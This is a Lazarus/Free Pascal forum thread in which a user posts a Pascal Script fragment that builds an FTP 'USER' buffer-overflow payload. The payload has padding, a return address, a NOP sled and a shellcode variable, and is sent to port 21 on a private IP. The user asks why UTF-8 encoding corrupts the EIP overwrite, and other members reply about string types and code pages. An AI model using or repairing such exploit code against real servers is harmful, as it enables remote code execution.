Recent

Author Topic: send hexadecimal values through tcp  (Read 3523 times)

opendelphi

  • New Member
  • *
  • Posts: 17
send hexadecimal values through tcp
« on: March 04, 2019, 09:26:37 pm »
Hey guys i am trying to write a snippets on pascal string to send specific shellcode into specific application port , but i think while sending that EIP is written with unicode character that's not should be "C2" means "?" , so what i want is to send this with correct values :
Code: Pascal  [Select][+][-]
  1.        tcp_connect('192.168.81.139',21);
  2.      c:=stringofchar(#$43,637);  
  3.      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;
  4.       p:= #$53#$93#$42#$7E;
  5.  
  6.      fuzz := stringofchar('A',230);
  7.      overflow := fuzz +p+nops +shellcode + c;
  8.  
  9.      s := 'USER '+overflow;
  10.  
  11.      tcp_sendmessage(s);  
  12.  

on debugger backend the EIP should be 5393427E , but actually it becomes 5393C242

thanks

lucamar

  • Hero Member
  • *****
  • Posts: 4219
Re: send hexadecimal values through tcp
« Reply #1 on: March 04, 2019, 09:33:48 pm »
Either define all your strings as RawByteString or use don't strings at all (replace them with array of Char).
Turbo Pascal 3 CP/M - Amstrad PCW 8256 (512 KB !!!) :P
Lazarus/FPC 2.0.8/3.0.4 & 2.0.12/3.2.0 - 32/64 bits on:
(K|L|X)Ubuntu 12..18, Windows XP, 7, 10 and various DOSes.

engkin

  • Hero Member
  • *****
  • Posts: 3112
Re: send hexadecimal values through tcp
« Reply #2 on: March 04, 2019, 09:35:12 pm »
Why is this posted in Lazarus » Forum » Installation » Linux ?

engkin

  • Hero Member
  • *****
  • Posts: 3112
Re: send hexadecimal values through tcp
« Reply #3 on: March 04, 2019, 09:42:17 pm »
What code page are you using?
What type of string are you using?
Lazarus or FPC alone? what version?
Any sample project instead of a few lines of code?

Linux, right?

opendelphi

  • New Member
  • *
  • Posts: 17
Re: send hexadecimal values through tcp
« Reply #4 on: March 04, 2019, 09:55:59 pm »
Either define all your strings as RawByteString or use don't strings at all (replace them with array of Char).

rawbytestring is not supported by Pascal Script , i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way

opendelphi

  • New Member
  • *
  • Posts: 17
Re: send hexadecimal values through tcp
« Reply #5 on: March 04, 2019, 10:01:53 pm »
What code page are you using?
What type of string are you using?
Lazarus or FPC alone? what version?
Any sample project instead of a few lines of code?

Linux, right?

yeah it is under linux , lazarus 1.8 m with fpc 3.4 but i didn't use code page !

engkin

  • Hero Member
  • *****
  • Posts: 3112
Re: send hexadecimal values through tcp
« Reply #6 on: March 04, 2019, 10:14:55 pm »
Lazarus uses Unicode, specifically UTF8. Same for Linux, mostly. Which means code like:
Code: Pascal  [Select][+][-]
  1.      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;

is wrong.


What code page the receiving application is expecting?

You might want to read this.

opendelphi

  • New Member
  • *
  • Posts: 17
Re: send hexadecimal values through tcp
« Reply #7 on: March 04, 2019, 10:23:27 pm »
Lazarus uses Unicode, specifically UTF8. Same for Linux, mostly. Which means code like:
Code: Pascal  [Select][+][-]
  1.      nops := #$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90#$90;

is wrong.


What code page the receiving application is expecting?

You might want to read this.

when sending hexdecimal chars you have to use #$ , for example if the character was \x41 , it becomes #$41 , so if you have other solution let me know ,

lucamar

  • Hero Member
  • *****
  • Posts: 4219
Re: send hexadecimal values through tcp
« Reply #8 on: March 04, 2019, 11:42:19 pm »
rawbytestring is not supported by Pascal Script, i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way

WAIT, Pascal Script? Are you talking about RemObjects' Pascal Script? Is that a (section of) script source? I think you'll have to show (and explain) quite a lot more of what you're trying to do ...
Turbo Pascal 3 CP/M - Amstrad PCW 8256 (512 KB !!!) :P
Lazarus/FPC 2.0.8/3.0.4 & 2.0.12/3.2.0 - 32/64 bits on:
(K|L|X)Ubuntu 12..18, Windows XP, 7, 10 and various DOSes.

opendelphi

  • New Member
  • *
  • Posts: 17
Re: send hexadecimal values through tcp
« Reply #9 on: March 05, 2019, 12:03:05 am »
rawbytestring is not supported by Pascal Script, i tried array of char but maybe i have used on wrong way , do u have a snippet about using it on correct way

WAIT, Pascal Script? Are you talking about RemObjects' Pascal Script? Is that a (section of) script source? I think you'll have to show (and explain) quite a lot more of what you're trying to do ...
i am using pascal script rem
yeah it about sending hexdecimal values throughs lnet tcp to specific application to control the EIP , what i mean that after sending fuzz the eip value the is not correct because there is C2 character placed there , got my point ?

 

TinyPortal © 2005-2018